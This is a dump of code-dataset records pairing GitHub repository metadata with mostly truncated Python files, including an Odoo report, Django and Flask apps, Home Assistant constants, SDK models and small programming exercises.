a4d65731e7802c35d69cd2e2af86af9a61e32160 | 20b2d61c0959023cb51be92fafe54877aecb9887 | /pabi_account_financial_report_webkit_xls/report/partner_ledger_xls.py | a877130f161faf361632158d7b9f696a631c77d6 | [] | no_license | BTCTON/pb2_addons | 6841a23554054f859b0c4acafb4e91bd0c3a14e4 | a5bfd90c202cea894690c96d74a74fa96eb79468 | refs/heads/master | 2021-09-07T16:55:41.195667 | 2018-02-26T11:27:01 | 2018-02-26T11:27:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20,762 | py | # -*- encoding: utf-8 -*-
import xlwt
from datetime import datetime
from openerp.addons.report_xls.report_xls import report_xls
from openerp.addons.report_xls.utils import rowcol_to_cell
from openerp.addons.pabi_account_financial_report_webkit \
.report.partners_ledger import PartnersLedgerWebkit
from openerp.tools... | [
"tharathip.chaweewongphan@gmail.com"
] | tharathip.chaweewongphan@gmail.com |
00801726d7c345d5d75bd1e1b12dc6f09bdeb8d1 | 6011d91a15443f349c667c279df557492aabe961 | /backend/ailyn_27183/wsgi.py | e102fa2ea4c7b74e762dd7174ce215d672fb04d7 | [] | no_license | crowdbotics-apps/ailyn-27183 | 4f213fcda44666d27d3d117c22838cfbb26354cf | f64cd181bb427fdfde91bff125905dbc43591346 | refs/heads/master | 2023-05-01T04:38:43.941397 | 2021-05-21T15:55:20 | 2021-05-21T15:55:20 | 369,582,312 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 399 | py | """
WSGI config for ailyn_27183 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_S... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
ec58d2917b79d2ad6a0939956d79da861f6a7b75 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02682/s684375067.py | 117cc2b0c5642eb9878cc0118202826fe1d6b213 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 262 | py | def main():
a, b, c, k = (int(i) for i in input().split())
ans = min(a, k)
k -= a
if k <= 0:
print(ans)
return
k -= b
if k <= 0:
print(ans)
return
print(ans - k)
if __name__ == '__main__':
main()
| [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
9170244b4214dce8e2c3035fef36f5a03da8c4fd | 02bd0f29388f604305c45892d7d14c67c35befd0 | /custom_components/xiaomi_miot/core/const.py | 3700c92b786fc4a71476363a8218b87aa4d6ce78 | [
"Apache-2.0"
] | permissive | odin1990/hass-xiaomi-miot | 9c8146a729998ab3c1ac21bb3447b3a5579c8b62 | 13777861faf691aa158f0952be0e1172a19dcd29 | refs/heads/master | 2023-06-29T14:51:52.194165 | 2021-08-05T14:32:09 | 2021-08-05T14:32:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,065 | py |
DOMAIN = 'xiaomi_miot'
DEFAULT_NAME = 'Xiaomi Miot'
CONF_MODEL = 'model'
CONF_XIAOMI_CLOUD = 'xiaomi_cloud'
CONF_SERVER_COUNTRY = 'server_country'
CONF_CONFIG_VERSION = 'config_version'
SUPPORTED_DOMAINS = [
'sensor',
'binary_sensor',
'switch',
'light',
'fan',
'climate',
'cover',
'hum... | [
"hi@anlo.ng"
] | hi@anlo.ng |
25ac9e37577bf31ae79b89658a66a884809af3b1 | 4f09233f5c3e0e58b9be6564b25b151e3d213ba3 | /pipeline/views.py | 9a65b97f7a8458ffca75e67663ad65616fe099d9 | [] | no_license | Akinbami/Django-Leaking-Pipeline-Simulator | 577c30ce133f95ee95c2d06dad73bfd5e96c505c | 1c560edc466545e9d2368cbdf491054a7d5a8ef8 | refs/heads/master | 2022-12-02T19:33:46.822001 | 2018-05-26T00:07:03 | 2018-05-26T00:07:03 | 286,982,589 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,746 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.shortcuts import render
from django.contrib import messages
from django.contrib.contenttypes.models import ContentType
from django.contrib.auth.decorators import login_required
from django.core.paginator import Paginator, EmptyPage, PageNotAnI... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
6091d32f1faa3465a9a18e4a9da1430f0bd01c0c | cf457dacc75ade598d52a4cfd58c2120192da84c | /Python1808/第一阶段/day2-Python语法基础/老师版/03-python常用数据类型.py | d569130acda2e1b4dbfd3167763b5f5ed286d618 | [] | no_license | LYblogs/python | b62608d73eb0a5a19306cabd4fd5706806fd557b | 1ee0bcecc3a78c6d2b191600872a1177e9c8df60 | refs/heads/master | 2020-04-12T10:12:01.478382 | 2018-12-19T10:59:47 | 2018-12-19T10:59:47 | 162,422,214 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,458 | py | """__author__ = 余婷"""
# python中常用的数据类型有:整型、浮点型、布尔、字符串、列表、字典、元祖、集合、函数等....
# 1.常见数据类型的字面量(常量)
"""
整型: 100, 23, -129 -- 所有的整数
浮点型: 12.3, 45.0, -0.1123 -- 所有的小数
布尔: True, False -- 只有两个值
字符串: 'abc', "ahjs", '348sj', "上的+-" -- 由双引号或者单引号括起来的内容
列表: [12, 'abc', True]
元祖:(23, 89, 'asd')
字典:{'ab': 120, 18:'abc'}
"""
100
12.... | [
"2271032145@qq.com"
] | 2271032145@qq.com |
0b45ef0e4774407c05f924eaeb4d52f06e6444b0 | 68b1ca9762ee9e11219ea8ebfa8b4648b1f2310d | /biosteam/units/design_tools/batch.py | 47ae99592434f3244f0e7cf4feaafbb2ca37d2a2 | [
"MIT",
"NCSA",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | tylerhuntington222/biosteam | 2e342c0a058c55d84ef2e69136ef8509ac73a92b | 234959180a3210d95e39a012454f455723c92686 | refs/heads/master | 2022-11-21T23:17:44.821961 | 2020-07-24T20:05:16 | 2020-07-24T20:05:16 | 282,294,293 | 0 | 0 | NOASSERTION | 2020-07-24T20:05:18 | 2020-07-24T18:52:17 | null | UTF-8 | Python | false | false | 1,681 | py | # -*- coding: utf-8 -*-
# BioSTEAM: The Biorefinery Simulation and Techno-Economic Analysis Modules
# Copyright (C) 2020, Yoel Cortes-Pena <yoelcortes@gmail.com>
#
# This module is under the UIUC open-source license. See
# github.com/BioSTEAMDevelopmentGroup/biosteam/blob/master/LICENSE.txt
# for license details.
"""... | [
"yoelcortes@gmail.com"
] | yoelcortes@gmail.com |
39579d87c788f7d695d297572aea965a64555132 | 9644572133b4cde92745a6c2320069bce926f715 | /general_ocr/core/bbox/iou_calculators/__init__.py | fa74d11dd2cd80cedf5bd061bb36e1a5b81cbfcb | [] | no_license | hnhoangdz/general_ocr | b79306f8078556cdc83690d1d5e19baff30dc878 | 8975731cbc7065aa1825bf857c33b90ad0140c49 | refs/heads/main | 2023-08-16T09:41:56.444851 | 2021-10-19T09:09:44 | 2021-10-19T09:09:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | # Copyright (c) GeneralOCR. All rights reserved.
from .builder import build_iou_calculator
from .iou2d_calculator import BboxOverlaps2D, bbox_overlaps
__all__ = ['build_iou_calculator', 'BboxOverlaps2D', 'bbox_overlaps']
| [
"towarddatascience@gmail.com"
] | towarddatascience@gmail.com |
e2998c4ab38072a6f4b95ac8353a7e4ea5c6fdc9 | 4388363ba45b95910c25bae3d9c02ad78f4a75d6 | /python/anaconda/pkgs/astropy-1.3.2-np112py27_0/lib/python2.7/site-packages/astropy/extern/pytest.py | b7e9eb79df9a23e62168020d6fdae48886f3612c | [] | no_license | locolucco209/MongoScraper | d494e02531f4f165b1e821633dc9661c579337b5 | 74476c9f00ee43338af696da7e9cd02b273f9005 | refs/heads/master | 2022-11-25T19:09:27.248747 | 2018-07-10T03:54:06 | 2018-07-10T03:54:06 | 137,553,786 | 3 | 1 | null | 2022-11-16T04:32:26 | 2018-06-16T04:49:22 | null | UTF-8 | Python | false | false | 265,800 | py | #! /usr/bin/env python
# Hi There!
# You may be wondering what this giant blob of binary data here is, you might
# even be worried that we're up to something nefarious (good for you for being
# paranoid!). This is a base64 encoding of a zip file, this zip file contains
# a fully functional basic pytest script.
#
# Pyt... | [
"lukemassetti@WestSide-Luke.local"
] | lukemassetti@WestSide-Luke.local |
4825091e9593d2c1cfa3e087e8bfac0db3324a4d | cc5a3fa80d2ae90afc2626e4a82b9a927726dfa0 | /huaweicloud-sdk-ocr/huaweicloudsdkocr/v1/model/recognize_web_image_request.py | a386ef39973124aced32ea727ee21ea39ab1e77e | [
"Apache-2.0"
] | permissive | Logan118/huaweicloud-sdk-python-v3 | eca15e9b08bdccef7122e40735d444ddc958efa8 | bb230c03bd00225b9f5780a56adce596e9456420 | refs/heads/master | 2023-07-17T14:57:50.799564 | 2021-08-25T10:40:43 | 2021-08-25T10:40:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,854 | py | # coding: utf-8
import re
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class RecognizeWebImageRequest:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): T... | [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
7615a726d4993c091e631ae85666eb24c1140482 | f991b6f8d24a9537821e9cc99369abd96119ccb4 | /videos/migrations/0004_auto_20210227_1218.py | fe7edf5ced1582a800834fea47201de2eca81157 | [] | no_license | luqmantuke/Faulu-Hub | 01c0aec5d96b45702835d5150400f91f2b530384 | b00c48399f4e8ef514d5f6e52d493db253d23242 | refs/heads/master | 2023-07-11T08:43:34.712484 | 2021-08-20T17:43:33 | 2021-08-20T17:43:33 | 322,248,726 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 501 | py | # Generated by Django 3.1.4 on 2021-02-27 12:18
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('videos', '0003_topic_image'),
]
operations = [
migrations.AlterModelOptions(
name='topic',
options={'ordering': ['or... | [
"lsuleiman2002@gmail.com"
] | lsuleiman2002@gmail.com |
1ff26302966b5d662b57ed0aaab8f486f99202b0 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_2_neat/16_0_2_Lehych_solution.py | 6677e116d6359837e5ff175167d4b5bced23bd42 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 581 | py | #!/usr/bin/env python
import sys
def main(testcase):
result = 0
prev = testcase[0]
for i, digit in enumerate(testcase[1:]):
if digit != prev and digit == '+':
result += 1
elif digit != prev and digit == '-':
result += 1
prev = digit
result += (1 if prev=... | [
"[dhuo@tcd.ie]"
] | [dhuo@tcd.ie] |
747911d887cb30790f696eb2d6e874650aef21dc | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/verbs/_grossest.py | 6fb50349a04880a3c86c3f3a58b1134c8e935e7e | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 235 | py |
from xai.brain.wordbase.verbs._gross import _GROSS
#calss header
class _GROSSEST(_GROSS, ):
def __init__(self,):
_GROSS.__init__(self)
self.name = "GROSSEST"
self.specie = 'verbs'
self.basic = "gross"
self.jsondata = {}
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
df244774aac09680f37f57e004d8effdb560ca79 | 0af3f2dbfdf3a607f9055e8ac475900931a166ca | /Web Scraper/Topics/Bytes basics/Printable/main.py | 92a7be927032e99b0d5198fe6d3efa9b22de073f | [] | no_license | zolcsika71/JBA_Python | 94b95ace287a67961c6e4e6f7bec24453118a50f | 2f1d42cc787627efb7473124a862b060c57916da | refs/heads/main | 2023-08-16T00:29:43.624129 | 2021-10-03T19:55:35 | 2021-10-03T19:55:35 | 331,738,006 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 80 | py | unicode = int(input())
print(chr(unicode) if 32 <= unicode <= 126 else 'False')
| [
"bushdoctor2008@gmail.com"
] | bushdoctor2008@gmail.com |
22b14e3b76db3794547b69e654ed00cea84be4f2 | 4910f572541d984f840295ce9586b7122cf9e519 | /official/nlp/modeling/models/bert_classifier.py | 05aec321ff90537c323019223d829eb4301f404f | [
"Apache-2.0"
] | permissive | metterlein/models | 4aa44088e3b1dd0dabd0fcb3e2ed644bd68c32a0 | da4aca1c50698c021340db8e71476ce3a35ab8eb | refs/heads/master | 2022-12-12T21:15:26.040535 | 2020-09-09T06:01:09 | 2020-09-09T06:04:01 | 294,050,521 | 1 | 1 | Apache-2.0 | 2020-09-09T08:28:11 | 2020-09-09T08:28:10 | null | UTF-8 | Python | false | false | 4,350 | py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"gardener@tensorflow.org"
] | gardener@tensorflow.org |
d6796323608d0dcda4369f403e1bbae471aaf51d | c6d4fa98b739a64bb55a8750b4aecd0fc0b105fd | /ScanPi/QRbytes2/211.py | d1f6f756730ab70b84c7c80f8f213c9056a158ef | [] | no_license | NUSTEM-UK/Heart-of-Maker-Faire | de2c2f223c76f54a8b4c460530e56a5c74b65ca3 | fa5a1661c63dac3ae982ed080d80d8da0480ed4e | refs/heads/master | 2021-06-18T13:14:38.204811 | 2017-07-18T13:47:49 | 2017-07-18T13:47:49 | 73,701,984 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,746 | py | data = [
0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ... | [
"lists@quernstone.com"
] | lists@quernstone.com |
9ae8a247df582674cb9ae7321ada0cfccd802bd3 | dd098f8a93f787e38676283679bb39a290ba28b4 | /samples/openapi3/client/3_0_3_unit_test/python-experimental/unit_test_api/paths/request_body_post_allof_with_two_empty_schemas_request_body/post.py | c7c13b638b03e63d0966b42edbc498516edc1616 | [
"Apache-2.0"
] | permissive | InfoSec812/openapi-generator | 727c0235d3bad9b85ac12068808f844287af6003 | e0c72702c3d5dae2a627a2926f0cddeedca61e32 | refs/heads/master | 2022-10-22T00:31:33.318867 | 2022-08-20T14:10:31 | 2022-08-20T14:10:31 | 152,479,633 | 1 | 0 | Apache-2.0 | 2023-09-04T23:34:09 | 2018-10-10T19:38:43 | Java | UTF-8 | Python | false | false | 5,124 | py | # coding: utf-8
"""
Generated by: https://openapi-generator.tech
"""
from dataclasses import dataclass
import re # noqa: F401
import sys # noqa: F401
import typing
import urllib3
import functools # noqa: F401
from urllib3._collections import HTTPHeaderDict
from unit_test_api import api_client, exceptions
im... | [
"noreply@github.com"
] | InfoSec812.noreply@github.com |
1d74b8a0c04af10fa812e5592c103d843b250ab6 | 3c000380cbb7e8deb6abf9c6f3e29e8e89784830 | /venv/Lib/site-packages/cobra/modelimpl/cloud/ingressbyteshist1h.py | b41b6d3421f68be8625f0308724caf9d1c891262 | [] | no_license | bkhoward/aciDOM | 91b0406f00da7aac413a81c8db2129b4bfc5497b | f2674456ecb19cf7299ef0c5a0887560b8b315d0 | refs/heads/master | 2023-03-27T23:37:02.836904 | 2021-03-26T22:07:54 | 2021-03-26T22:07:54 | 351,855,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,419 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... | [
"bkhoward@live.com"
] | bkhoward@live.com |
95036b90dd8e458d457012c44d5d402794fcea47 | 74564e9d71e9f42aa287525297a0039e44d596af | /sum_of_three/src/CorrSum.py | ad3bca704654cd73de44c93ca689d19a1cdfe351 | [] | no_license | shinysu/INGEnious_python_tasks | 8c57e208100568d78ee63d120533f2dd46a48785 | 43c1b93e9b7911445e72e06cdc708bc60d518427 | refs/heads/master | 2021-01-07T21:52:55.254625 | 2020-02-20T08:21:26 | 2020-02-20T08:21:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 83 | py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
def sum(a, b, c):
return a + b + c
| [
"ufoundashish@gmail.com"
] | ufoundashish@gmail.com |
4b03cdd9f85f8a85388a774c5fe33f8a3be36163 | bb33e6be8316f35decbb2b81badf2b6dcf7df515 | /source/res/scripts/client/gui/Scaleform/daapi/view/meta/EventTimerMeta.py | 6af74d58311aaaed264a5c85b7a62bcf55ffaf67 | [] | no_license | StranikS-Scan/WorldOfTanks-Decompiled | 999c9567de38c32c760ab72c21c00ea7bc20990c | d2fe9c195825ececc728e87a02983908b7ea9199 | refs/heads/1.18 | 2023-08-25T17:39:27.718097 | 2022-09-22T06:49:44 | 2022-09-22T06:49:44 | 148,696,315 | 103 | 39 | null | 2022-09-14T17:50:03 | 2018-09-13T20:49:11 | Python | UTF-8 | Python | false | false | 904 | py | # Python bytecode 2.7 (decompiled from Python 2.7)
# Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/EventTimerMeta.py
from gui.Scaleform.framework.entities.BaseDAAPIComponent import BaseDAAPIComponent
class EventTimerMeta(BaseDAAPIComponent):
def as_updateTimeS(self, value):
return self.... | [
"StranikS_Scan@mail.ru"
] | StranikS_Scan@mail.ru |
7a4d68201c52eeb4c2c74d894a4ae10de47ad721 | a83bafc38b514a0339a5991be15870551ac49681 | /test/test_raw_material_options_request.py | e4b1786986a00fd12ca2dd5e920dcd50ce2dbfa4 | [] | no_license | bimdata/python-api-client | 4ec2f81e404ef88d3a7e4d08e18965b598c567a2 | c9b6ea0fbb4729b2a1c10522bdddfe08d944739d | refs/heads/master | 2023-08-17T13:38:43.198097 | 2023-08-09T12:48:12 | 2023-08-09T12:48:12 | 131,603,315 | 0 | 4 | null | 2022-10-10T15:21:26 | 2018-04-30T14:06:15 | Python | UTF-8 | Python | false | false | 1,000 | py | """
BIMData API
BIMData API is a tool to interact with your models stored on BIMData’s servers. Through the API, you can manage your projects, the clouds, upload your IFC files and manage them through endpoints. # noqa: E501
The version of the OpenAPI document: v1 (v1)
Contact: support@bimdata.io... | [
"infra@bimdata.io"
] | infra@bimdata.io |
65a38e44a35f55f96acd4af467fe2468dcfb48e8 | 19ee165c252970294333e203728020cdcae550b3 | /abc143/abc143_b/20191019210632.py | 4af6575620199a704c37e4d041044fb239c9de80 | [] | no_license | autumncolors11/atc_submits | 4528c700e488d530f9cdde3a4198f36b30c3d35e | 6f9689b6d7de45fd4e44ad118e4e3531bb8dac4d | refs/heads/master | 2022-11-28T17:59:55.750896 | 2020-08-09T14:10:05 | 2020-08-09T14:10:05 | 258,122,955 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 189 | py | n = int(input())
arr = list(map(int,input().split()))
count = 0
for i in range(n-1):
for j in range(i+1,n):
count += arr[i]*arr[j]
print(count)
| [
"biomimetics500tour@gmail.com"
] | biomimetics500tour@gmail.com |
5f8bcc6ee9fe0cae2040c2086e73fbd08a262483 | 3a28b1a12d0710c06f6360381ad8be6cf3707907 | /modular_model/triHPC/triHPCThermo/HPCAllTrays11CstmVapN2_pP.py | b3fe763d81fb6dba833979032c4ce8e6ef37f9b0 | [] | no_license | WheatZhang/DynamicModelling | 6ce1d71d3b55176fd4d77a6aedbaf87e25ce4d02 | ea099245135fe73e8c9590502b9c8b87768cb165 | refs/heads/master | 2020-06-15T14:12:50.373047 | 2019-07-05T01:37:06 | 2019-07-05T01:37:06 | 195,319,788 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 237 | py | def VapN2_pP(P,T,x_N2):
x = (P-5.57619024e+02)/3.71707300e-01
y = (T--1.76727421e+02)/7.47418000e-02
z = (x_N2-8.82992808e-01)/1.16572095e-02
output = \
1*-1.49447101e-03
y_N2 = output*1.00000000e+00+0.00000000e+00
return y_N2 | [
"1052632241@qq.com"
] | 1052632241@qq.com |
1ff47af07345f26a4e65a2678a02ca48f0b48f1b | 5a9c19c8ff43a37549c187bd1a1f28ca3ea8c5f9 | /Diena_16_misc/hello_flask.py | e5e7486c811483fd2ae67159115a7e7a8a466e5c | [
"MIT"
] | permissive | komunikator1984/Python_RTU_08_20 | a570e5a1b15b9289f277173245be1b189828adbf | 773314e2586cc63fcb659aa8466bad7d3f8910c9 | refs/heads/master | 2023-07-22T04:24:56.544299 | 2021-08-30T18:02:38 | 2021-08-30T18:02:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | from flask import Flask
from markupsafe import escape
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello, World!'
@app.route('/user/<username>')
def show_user_profile(username):
# show the user profile for that user
return f"Hello User <strong>{escape(username)}</strong>" # remember we... | [
"valdis.s.coding@gmail.com"
] | valdis.s.coding@gmail.com |
0a07ab3625d9a761f2b42f8779e28f4968cfbb2f | 8a486a1fd24f516768a8dac5a347aae1c3998101 | /347-top-k-frequent-elements/top-k-frequent-elements.py | a22d31009c177b3e2bd1f7bad1c48736bb13c94a | [] | no_license | qujay/leetcode | 962508643b491fa5505f25775186f8a6ed7ba74b | bcc8e30e6e7fe14db366030e0b2b5bf65c2ea337 | refs/heads/master | 2020-03-11T13:33:58.758012 | 2018-04-13T02:59:15 | 2018-04-13T02:59:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 882 | py | # -*- coding:utf-8 -*-
#
# Given a non-empty array of integers, return the k most frequent elements.
#
# For example,
# Given [1,1,1,2,2,3] and k = 2, return [1,2].
#
#
# Note:
#
# You may assume k is always valid, 1 ≤ k ≤ number of unique elements.
# Your algorithm's time complexity must be better than O... | [
"foreverbonfy@163.com"
] | foreverbonfy@163.com |
2d34524511acd8c43a5e8be54c0c4c806f805d98 | 6503ece7494af730cba3954e8be941caecfda2be | /PageBotNano-008-Publication/pagebotnano_008/publications/book.py | afaa3281a856ac381f597e3100e8ea9abc7892d3 | [
"MIT"
] | permissive | PageBot/PageBotNano | 691fb688bebbd34ca754644dfd4ce71b21d56b1e | 7bfd7196d23fa764638a3f94621d316446cbd6ac | refs/heads/master | 2023-08-23T22:33:51.805890 | 2021-10-12T08:02:29 | 2021-10-12T08:02:29 | 268,240,311 | 6 | 2 | NOASSERTION | 2020-06-29T08:59:26 | 2020-05-31T08:37:14 | Python | UTF-8 | Python | false | false | 8,591 | py | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# -----------------------------------------------------------------------------
#
# P A G E B O T N A N O
#
# Copyright (c) 2020+ Buro Petr van Blokland + Claudia Mens
# www.pagebot.io
# Licensed under MIT conditions
#
# Supporting DrawBot, www.drawbot.com
# ---... | [
"buro@petr.com"
] | buro@petr.com |
77fcad01d265b795e291ef33eed076161e3090c4 | 9e549ee54faa8b037f90eac8ecb36f853e460e5e | /venv/lib/python3.6/site-packages/future/backports/email/mime/nonmultipart.py | 0162317f09466dcab870a9d4252a286c0372a9a7 | [
"MIT"
] | permissive | aitoehigie/britecore_flask | e8df68e71dd0eac980a7de8c0f20b5a5a16979fe | eef1873dbe6b2cc21f770bc6dec783007ae4493b | refs/heads/master | 2022-12-09T22:07:45.930238 | 2019-05-15T04:10:37 | 2019-05-15T04:10:37 | 177,354,667 | 0 | 0 | MIT | 2022-12-08T04:54:09 | 2019-03-24T00:38:20 | Python | UTF-8 | Python | false | false | 841 | py | # Copyright (C) 2002-2006 Python Software Foundation
# Author: Barry Warsaw
# Contact: email-sig@python.org
"""Base class for MIME type messages that are not multipart."""
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
__all__ = ["MIMENonMultipart"]
fro... | [
"aitoehigie@gmail.com"
] | aitoehigie@gmail.com |
c98262deccb933278138e423608905a8e675dded | 4be56098894a95da5964622fc4102b69e4530ab6 | /题库/1477.最后K个数的乘积.py | 14cdc02de33183d41b3abce7a1a70fb8ba090eb1 | [] | no_license | ACENDER/LeetCode | 7c7c7ecc8d0cc52215272f47ec34638637fae7ac | 3383b09ab1246651b1d7b56ab426a456f56a4ece | refs/heads/master | 2023-03-13T19:19:07.084141 | 2021-03-15T09:29:21 | 2021-03-15T09:29:21 | 299,332,864 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 90 | py | # !/usr/bin/env python3
# -*- coding: utf-8 -*-
# @File : 1477.最后K个数的乘积.py
| [
"1641429327@qq.com"
] | 1641429327@qq.com |
4d1d8937b321e28d66bf2b7fe10ccea8e0b3eb63 | 5e7a59219442e4d64beda69b7f937a1d5f5b702e | /j.py | 2d0828d3e878598dfc6eae7f3690f3e5e8d1f9f4 | [] | no_license | Sohojoe/minerl_with_mlagents | d662a1dd40495c8b1e474ba1b670c067deab277c | eaf9433b3e83198df0a6e1b5b9881a7d8fa2fb21 | refs/heads/master | 2020-07-21T15:57:30.198775 | 2019-12-14T17:53:44 | 2019-12-14T17:53:44 | 206,914,781 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,686 | py | import minerl
import gym
import logging
import os
def main():
MINERL_DATA_ROOT = os.getenv(
'MINERL_DATA_ROOT', '/Development/Analog/mine_rl_submission/data')
os.environ['MINERL_DATA_ROOT'] = MINERL_DATA_ROOT
# do your main minerl code
# logging.basicConfig(level=logging.DEBUG)
data = mine... | [
"joe@joebooth.com"
] | joe@joebooth.com |
a05bd975a858df74a46d24bd6c98134e744955f0 | bb33e6be8316f35decbb2b81badf2b6dcf7df515 | /source/res/scripts/client/gui/impl/lobby/demount_kit/demount_single_price_dialog.py | bb281fdcf244386dd0a17a6b1ae9c0a90fe2a1ab | [] | no_license | StranikS-Scan/WorldOfTanks-Decompiled | 999c9567de38c32c760ab72c21c00ea7bc20990c | d2fe9c195825ececc728e87a02983908b7ea9199 | refs/heads/1.18 | 2023-08-25T17:39:27.718097 | 2022-09-22T06:49:44 | 2022-09-22T06:49:44 | 148,696,315 | 103 | 39 | null | 2022-09-14T17:50:03 | 2018-09-13T20:49:11 | Python | UTF-8 | Python | false | false | 4,098 | py | # Python bytecode 2.7 (decompiled from Python 2.7)
# Embedded file name: scripts/client/gui/impl/lobby/demount_kit/demount_single_price_dialog.py
import typing
from gui.goodies.demount_kit import getDemountKitForOptDevice
from gui.goodies.goodie_items import DemountKit
from gui.impl.dialogs.dialog_template import Dialo... | [
"StranikS_Scan@mail.ru"
] | StranikS_Scan@mail.ru |
a70bc4939d26635b6ec43fe8583c96772f555843 | e9032e64138d7b9dd90a330dfe4588e2c83f6667 | /google/cloud/compute_v1/services/region_instance_groups/transports/__init__.py | 4734ee7091ccebb1576c5f815e6e0538f5576eda | [
"Apache-2.0"
] | permissive | Ctfbuster/python-compute | 6cff2418969009794c3fadadc4c45e20d7b40509 | 7a9e8324e08c46a93050908760b2b5aca054a863 | refs/heads/main | 2023-08-26T12:37:52.363526 | 2021-10-04T15:34:37 | 2021-10-04T15:34:37 | 412,884,620 | 0 | 0 | Apache-2.0 | 2021-10-02T18:49:05 | 2021-10-02T18:49:03 | null | UTF-8 | Python | false | false | 1,062 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"busunkim@google.com"
] | busunkim@google.com |
dcd35173aee6b138da415cc048fd3c394619bf09 | 2c872fedcdc12c89742d10c2f1c821eed0470726 | /pbase/day20/code/text2.py | 8e099b87b482c2a3c78cf737f02926ab99469ba1 | [] | no_license | zuigehulu/AID1811 | 581c3c7a37df9fa928bc632e4891fc9bafe69201 | 10cab0869875290646a9e5d815ff159d0116990e | refs/heads/master | 2020-04-19T16:33:04.174841 | 2019-01-30T07:58:24 | 2019-01-30T07:58:24 | 168,307,918 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,607 | py | # 实现有序集合类 OrderSet() 能实现两个集合的交集 &
# 并集| 补集 - 对称补集 ^, ==,!= in ,not in 等操作
# 要就:集合内部用list存储数据
class OrderSet:
def __init__(self,val):
self.val = [x for x in val]
def __repr__(self):
return 'OrderSet(%s)'%self.val
def __and__(self,rhs):
L = []
for x in self.val:
if ... | [
"442315617@qq.com"
] | 442315617@qq.com |
